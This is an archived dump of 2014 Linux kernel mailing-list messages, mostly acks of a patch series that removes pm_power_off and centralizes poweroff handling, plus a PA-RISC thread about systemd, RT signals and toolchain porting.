List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44246 gmane.linux.kernel:1803164 gmane.linux.drivers.devicetree:93322 gmane.linux.kernel.virtualization.lguest:1509 gmane.linux.acpi.devel:71334 gmane.linux.ports.alpha:2494 gmane.linux.kernel.efi:4782 gmane.linux.ports.hexagon:841 gmane.linux.ports.ppc64.devel:105965 gmane.linux.ports.tegra:19532 gmane.linux.kernel.openipmi:2500 gmane.linux.uml.devel:14714 gmane.linux.ports.arm.kernel:362632 gmane.linux.ports.ia64:24530 gmane.linux.kernel.metag:361 gmane.linux.ports.parisc:6144 gmane.linux.power-management.general:50714 gmane.linux.ports.sh.devel:39865
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44246>

On Monday, October 06, 2014 10:28:10 PM Guenter Roeck wrote:
> pm_power_off is defined for all architectures. Move it to common code.
> 
> Have all architectures call do_kernel_poweroff instead of pm_power_off.
> Some architectures point pm_power_off to machine_power_off. For those,
> call do_kernel_poweroff from machine_power_off instead.

ACK

-- 
I speak only for myself.
Rafael J. Wysocki, Intel Open Source Technology Center.



From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael J. Wysocki" <rjw@rjwysocki.net>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 44/44] kernel: Remove pm_power_off
Date: Wed, 08 Oct 2014 01:43:07 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <1469166.g4FqVc5SJX@vostro.rjw.lan>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-45-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1412724200 11903 80.91.229.3 (7 Oct 2014 23:23:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 23:23:20 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Pavel Machek <pave
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Oct 08 01:23:10 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1Xbe61-0001r1-Qe
	for glpm-linux-m68k@plane.gmane.org; Wed, 08 Oct 2014 01:23:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932654AbaJGXXD (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 7 Oct 2014 19:23:03 -0400
Original-Received: from v094114.home.net.pl ([79.96.170.134]:62099 "HELO
	v094114.home.net.pl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S932441AbaJGXXA (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 7 Oct 2014 19:23:00 -0400
Original-Received: from afeu97.neoplus.adsl.tpnet.pl [95.49.124.97] (HELO vostro.rjw.lan)
 by serwer1319399.home.pl [79.96.170.134] with SMTP (IdeaSmtpServer v0.80)
 id dcbcb30690d681b0; Wed, 8 Oct 2014 01:22:59 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-rc5+; KDE/4.11.5; x86_64; ; )
In-Reply-To: <1412659726-29957-45-git-send-email-linux@roeck-us.net>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6273 gmane.linux.kernel:1803166 gmane.linux.drivers.devicetree:93323 gmane.linux.kernel.virtualization.lguest:1510 gmane.linux.acpi.devel:71335 gmane.linux.ports.alpha:2495 gmane.linux.kernel.efi:4783 gmane.linux.ports.hexagon:842 gmane.linux.ports.ppc64.devel:105966 gmane.linux.ports.tegra:19533 gmane.linux.kernel.openipmi:2501 gmane.linux.uml.devel:14715 gmane.linux.ports.arm.kernel:362633 gmane.linux.ports.ia64:24531 gmane.linux.kernel.metag:362 gmane.linux.ports.mips.general:44247 gmane.linux.ports.parisc:6145 gmane.linux.power-management.general:50715 gmane.linux.ports.sh.devel:39866
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6273>

On Monday, October 06, 2014 10:28:46 PM Guenter Roeck wrote:
> No users of pm_power_off are left, so it is safe to remove the function.
> 
> Cc: Rafael J. Wysocki <rjw@rjwysocki.net>
> Cc: Pavel Machek <pavel@ucw.cz>
> Cc: Len Brown <len.brown@intel.com>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>

ACK

> ---
>  include/linux/pm.h              |  1 -
>  kernel/power/poweroff_handler.c | 10 +---------
>  2 files changed, 1 insertion(+), 10 deletions(-)
> 
> diff --git a/include/linux/pm.h b/include/linux/pm.h
> index 45271b5..fce7645 100644
> --- a/include/linux/pm.h
> +++ b/include/linux/pm.h
> @@ -31,7 +31,6 @@
>  /*
>   * Callbacks for platform drivers to implement.
>   */
> -extern void (*pm_power_off)(void);
>  extern void (*pm_power_off_prepare)(void);
>  
>  /*
> diff --git a/kernel/power/poweroff_handler.c b/kernel/power/poweroff_handler.c
> index 96f59ef..01a3a39 100644
> --- a/kernel/power/poweroff_handler.c
> +++ b/kernel/power/poweroff_handler.c
> @@ -20,12 +20,6 @@
>  #include <linux/types.h>
>  
>  /*
> - * If set, calling this function will power off the system immediately.
> - */
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
> -/*
>   *	Notifier list for kernel code which wants to be called
>   *	to power off the system.
>   */
> @@ -163,8 +157,6 @@ int register_poweroff_handler_simple(void (*handler)(void), int priority)
>   */
>  void do_kernel_poweroff(void)
>  {
> -	if (pm_power_off)
> -		pm_power_off();
>  	atomic_notifier_call_chain(&poweroff_handler_list, 0, NULL);
>  }
>  
> @@ -175,6 +167,6 @@ void do_kernel_poweroff(void)
>   */
>  bool have_kernel_poweroff(void)
>  {
> -	return pm_power_off != NULL || poweroff_handler_list.head != NULL;
> +	return poweroff_handler_list.head != NULL;
>  }
>  EXPORT_SYMBOL(have_kernel_poweroff);
> 

-- 
I speak only for myself.
Rafael J. Wysocki, Intel Open Source Technology Center.

From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 08/44] kernel: Move pm_power_off to common code
Date: Wed, 8 Oct 2014 09:25:45 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20141008072545.GA30087@axis.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412753201 30770 80.91.229.3 (8 Oct 2014 07:26:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Oct 2014 07:26:41 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "adi-buildroot-devel@lists.sourceforge.net" 
        <adi-buildroot-devel@lists.sourceforge.net>,
        "devel@driverdev.osuosl.org" <devel@driverdev.osuosl.org>,
        "devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
        "lguest@lists.ozlabs.org" <lguest@lists.ozlabs.org>,
        "linux-acpi@vger.kernel.org" <linux-acpi@vger.kernel.org>,
        "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
        "linux-am33-list@redhat.com" <linux-am33-list@redhat.com>,
        linux-cris-kernel <linux-cris-kernel@axis.com>,
        "linux-efi@vger.kernel.org" <linux-efi@vger.kernel.org>,
        "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
        "linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
        "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@list
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Oct 08 09:26:25 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Xbldf-0001X0-8V
	for sgi-linux-mips@gmane.org; Wed, 08 Oct 2014 09:26:23 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:50629 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010814AbaJHH0SkopN3 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 8 Oct 2014 09:26:18 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 08 Oct 2014 09:26:04 +0200 (CEST)
Original-Received: from bes.se.axis.com ([195.60.68.10]:60049 "EHLO bes.se.axis.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27010808AbaJHH0CGUz3P (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 8 Oct 2014 09:26:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
        by bes.se.axis.com (Postfix) with ESMTP id 7E8462E358;
        Wed,  8 Oct 2014 09:25:56 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at bes.se.axis.com
Original-Received: from bes.se.axis.com ([IPv6:::ffff:127.0.0.1])
        by localhost (bes.se.axis.com [::ffff:127.0.0.1]) (amavisd-new, port 10024)
        with LMTP id MGajHr2jAwdr; Wed,  8 Oct 2014 09:25:51 +0200 (CEST)
Original-Received: from boulder.se.axis.com (boulder.se.axis.com [10.0.2.104])
        by bes.se.axis.com (Postfix) with ESMTP id 3D6EB2E2EB;
        Wed,  8 Oct 2014 09:25:46 +0200 (CEST)
Original-Received: from boulder.se.axis.com (localhost [127.0.0.1])
        by postfix.imss71 (Postfix) with ESMTP id E5DC1129E;
        Wed,  8 Oct 2014 09:25:45 +0200 (CEST)
Original-Received: from thoth.se.axis.com (thoth.se.axis.com [10.0.2.173])
        by boulder.se.axis.com (Postfix) with ESMTP id CD09ECF4;
        Wed,  8 Oct 2014 09:25:45 +0200 (CEST)
Original-Received: from lnxjespern2.se.axis.com (lnxjespern2.se.axis.com [10.88.4.6])
        by thoth.se.axis.com (Postfix) with ESMTP id C243C34234;
        Wed,  8 Oct 2014 09:25:45 +0200 (CEST)
Original-Received: by lnxjespern2.se.axis.com (Postfix, from userid 363)
        id BDD3CC069; Wed,  8 Oct 2014 09:25:45 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1412659726-29957-9-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-archive-position: 43106
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jesper.nilsson@axis.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44255 gmane.linux.kernel:1803371 gmane.linux.drivers.devicetree:93370 gmane.linux.kernel.virtualization.lguest:1511 gmane.linux.acpi.devel:71339 gmane.linux.ports.alpha:2496 gmane.linux.kernel.efi:4784 gmane.linux.ports.hexagon:843 gmane.linux.ports.ppc64.devel:105983 gmane.linux.ports.tegra:19535 gmane.linux.kernel.openipmi:2502 gmane.linux.uml.devel:14716 gmane.linux.ports.arm.kernel:362677 gmane.linux.ports.ia64:24532 gmane.linux.kernel.metag:363 gmane.linux.ports.parisc:6146 gmane.linux.power-management.general:50724 gmane.linux.ports.sh.devel:39876
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44255>

On Tue, Oct 07, 2014 at 07:28:10AM +0200, Guenter Roeck wrote:
> pm_power_off is defined for all architectures. Move it to common code.
> 
> Have all architectures call do_kernel_poweroff instead of pm_power_off.
> Some architectures point pm_power_off to machine_power_off. For those,
> call do_kernel_poweroff from machine_power_off instead.

For the CRIS parts:

>  arch/cris/kernel/process.c         |  4 +---

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>


/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com



From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd on hppa and number of free RT signals
Date: Wed, 08 Oct 2014 11:10:22 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <5434FF7E.1070804@gmx.de>
References: <5434418F.1020407@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412759442 24447 80.91.229.3 (8 Oct 2014 09:10:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Oct 2014 09:10:42 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 08 11:10:36 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XbnGU-0006Z8-B1
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 Oct 2014 11:10:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753664AbaJHJKd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Oct 2014 05:10:33 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:63060 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754122AbaJHJKc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Oct 2014 05:10:32 -0400
Original-Received: from [10.95.163.223] ([155.56.40.73]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LsChr-1YLSW82VV1-013vLG; Wed, 08 Oct 2014 11:10:23
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.7.0
In-Reply-To: <5434418F.1020407@gmx.de>
X-Provags-ID: V03:K0:YzMdeHqCL29n2XyfPLUhnMuep6xGlQR2fu7t/Z2t8RfK63xOxLw
 a1aYIKibEcSTzTsod2wnrNyOAQov6nOsUl+y71GeWUgSL7vN/aXKkjZZB3CnKc0r0wVsd8f
 CVimQds1u8ywfqWzZJjVHehCOxHa2zebubN0QYxOeL0DBoGYM7A054eeQR/N+UTVwpVvZim
 VkwvxZp4TnI+Iq28vD/3A==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6147
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6147>

On 10/07/2014 09:39 PM, Helge Deller wrote:
> I've just had a successful boot on hppa with systemd :-)
> The bootlog is attached.
>...
> I will provide prebuilt debian packages with those patches for kernel and glibc tomorrow for download, so that people may test themselves...

I've uploaded the debian kernel and glibc packages to:
ftp://ftp.parisc-linux.org/SIGNAL_NEW/

A short README is here:
ftp://ftp.parisc-linux.org/SIGNAL_NEW/README.txt

It would be nice if people could test it...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?gbk?B?WHVldGFvIEd1YW4g?= <gxt@pku.edu.cn>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: =?utf-8?Q?=E5=9B=9E=E5=A4=8D=EF=BC=9A_[PATCH_08/44]_kernel:_Mov?=
 =?utf-8?Q?e_pm=5Fpower=5Foff_to_common_code?=
Date: Wed, 8 Oct 2014 19:06:32 +0800 (CST)
Lines: 20
Approved: news@gmane.org
Message-ID: <218135571.28324.1412766392198.JavaMail.root@bj-mail03.pku.edu.cn>
References: <1412659726-29957-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1412766451 24084 80.91.229.3 (8 Oct 2014 11:07:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Oct 2014 11:07:31 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
        adi-buildroot-devel@lists.sourceforge.net,
        devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
        lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
        linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        openipmi-developer@lists.sourceforge.net,
        user-mode-linux-devel@lists.sourceforge.net,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-ia64@vger.kernel.org, linux-m68k@vger.kernel.org,
        linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-pm@vg
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Oct 08 13:07:14 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Xbp5M-0001jm-PL
	for sgi-linux-mips@gmane.org; Wed, 08 Oct 2014 13:07:12 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:51578 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010841AbaJHLHKiYnTX convert rfc822-to-quoted-printable
        (ORCPT <rfc822;sgi-linux-mips@gmane.org>);
        Wed, 8 Oct 2014 13:07:10 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 08 Oct 2014 13:06:55 +0200 (CEST)
Original-Received: from mx10.pku.edu.cn ([162.105.129.173]:49222 "EHLO mail.pku.edu.cn"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S27010829AbaJHLGwY4GWm convert rfc822-to-8bit (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 8 Oct 2014 13:06:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
        by mail.pku.edu.cn (tmailer) with ESMTP id D3E7913809A;
        Wed,  8 Oct 2014 19:06:41 +0800 (CST)
Original-Received: from mail.pku.edu.cn ([127.0.0.1])
        by localhost (bj-mail03.pku.edu.cn [127.0.0.1]) (theinterface-new, port 10024)
        with ESMTP id AnYU2pFtmIXW; Wed,  8 Oct 2014 19:06:32 +0800 (CST)
Original-Received: from bj-mail03.pku.edu.cn (bj-mail03.pku.edu.cn [162.105.129.123])
        by mail.pku.edu.cn (tmailer) with ESMTP id 5454D138082;
        Wed,  8 Oct 2014 19:06:32 +0800 (CST)
In-Reply-To: <1412659726-29957-9-git-send-email-linux@roeck-us.net>
X-Originating-IP: [162.105.129.94]
X-archive-position: 43109
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: gxt@pku.edu.cn
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44258 gmane.linux.kernel:1803556 gmane.linux.drivers.devicetree:93403 gmane.linux.kernel.virtualization.lguest:1512 gmane.linux.acpi.devel:71342 gmane.linux.ports.alpha:2497 gmane.linux.kernel.efi:4785 gmane.linux.ports.hexagon:844 gmane.linux.ports.ppc64.devel:106006 gmane.linux.ports.tegra:19539 gmane.linux.kernel.openipmi:2503 gmane.linux.uml.devel:14717 gmane.linux.ports.arm.kernel:362747 gmane.linux.ports.ia64:24533 gmane.linux.ports.m68k:6275 gmane.linux.kernel.metag:364 gmane.linux.ports.parisc:6148 gmane.linux.power-management.general:50733 gmane.linux.ports.sh.devel:39879
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44258>


----- Guenter Roeck <linux@roeck-us.net> =E5=86=99=E9=81=93=EF=BC=9A
> pm_power_off is defined for all architectures. Move it to common code=
=2E
>=20
> Have all architectures call do_kernel_poweroff instead of pm_power_of=
f.
> Some architectures point pm_power_off to machine_power_off. For those=
,
> call do_kernel_poweroff from machine_power_off instead.
>=20

=46or UniCore32 part,

Acked-by: Xuetao Guan <gxt@mprc.pku.edu.cn>

Thanks
Xuetao



From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd on hppa and number of free RT signals
Date: Wed, 8 Oct 2014 11:59:24 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <BLU436-SMTP47EE271F36DCCDA27582B797A30@phx.gbl>
References: <5434418F.1020407@gmx.de> <20141007223418.GB599@drone.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412783973 20040 80.91.229.3 (8 Oct 2014 15:59:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Oct 2014 15:59:33 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Jeroen Roovers <jer@gentoo.org>
To: Aaro Koskinen <aaro.koskinen@iki.fi>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 08 17:59:28 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xbte8-0008SL-Qq
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 Oct 2014 17:59:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932202AbaJHP7T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Oct 2014 11:59:19 -0400
Original-Received: from blu004-omc4s6.hotmail.com ([65.55.111.145]:55679 "EHLO
	BLU004-OMC4S6.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932094AbaJHP7S (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Oct 2014 11:59:18 -0400
Original-Received: from BLU436-SMTP47 ([65.55.111.135]) by BLU004-OMC4S6.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Wed, 8 Oct 2014 08:59:17 -0700
X-TMN: [Oyz62GPjpzoKuG77fjV2HgJlgrYfXeY9]
X-Originating-Email: [dave.anglin@bell.net]
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.6.0
In-Reply-To: <20141007223418.GB599@drone.musicnaut.iki.fi>
X-OriginalArrivalTime: 08 Oct 2014 15:59:16.0206 (UTC) FILETIME=[CFC8D0E0:01CFE310]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6149
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6149>

On 10/7/2014 6:34 PM, Aaro Koskinen wrote:
> Personally I don't mind such changes (I compile everything from scratch
> so ABI breakages are not a big issue), but generally I think Linux/PA-RISC
> community could maybe put more focus on some core issues like GCC
> and GLIBC support...
I think that's happening.

On Debian unstable, we currently have 10291 installed packages.
We are neck to neck with ppc64, and a couple hundred behind alpha.
http://buildd.debian-ports.org/stats/

At this point, adding new packages requires porting and bug fixes. The 
signal change proposed
by Helge here is an example.

I am working at the moment on an update to the GCC fast indirect call 
support for Linux.  There
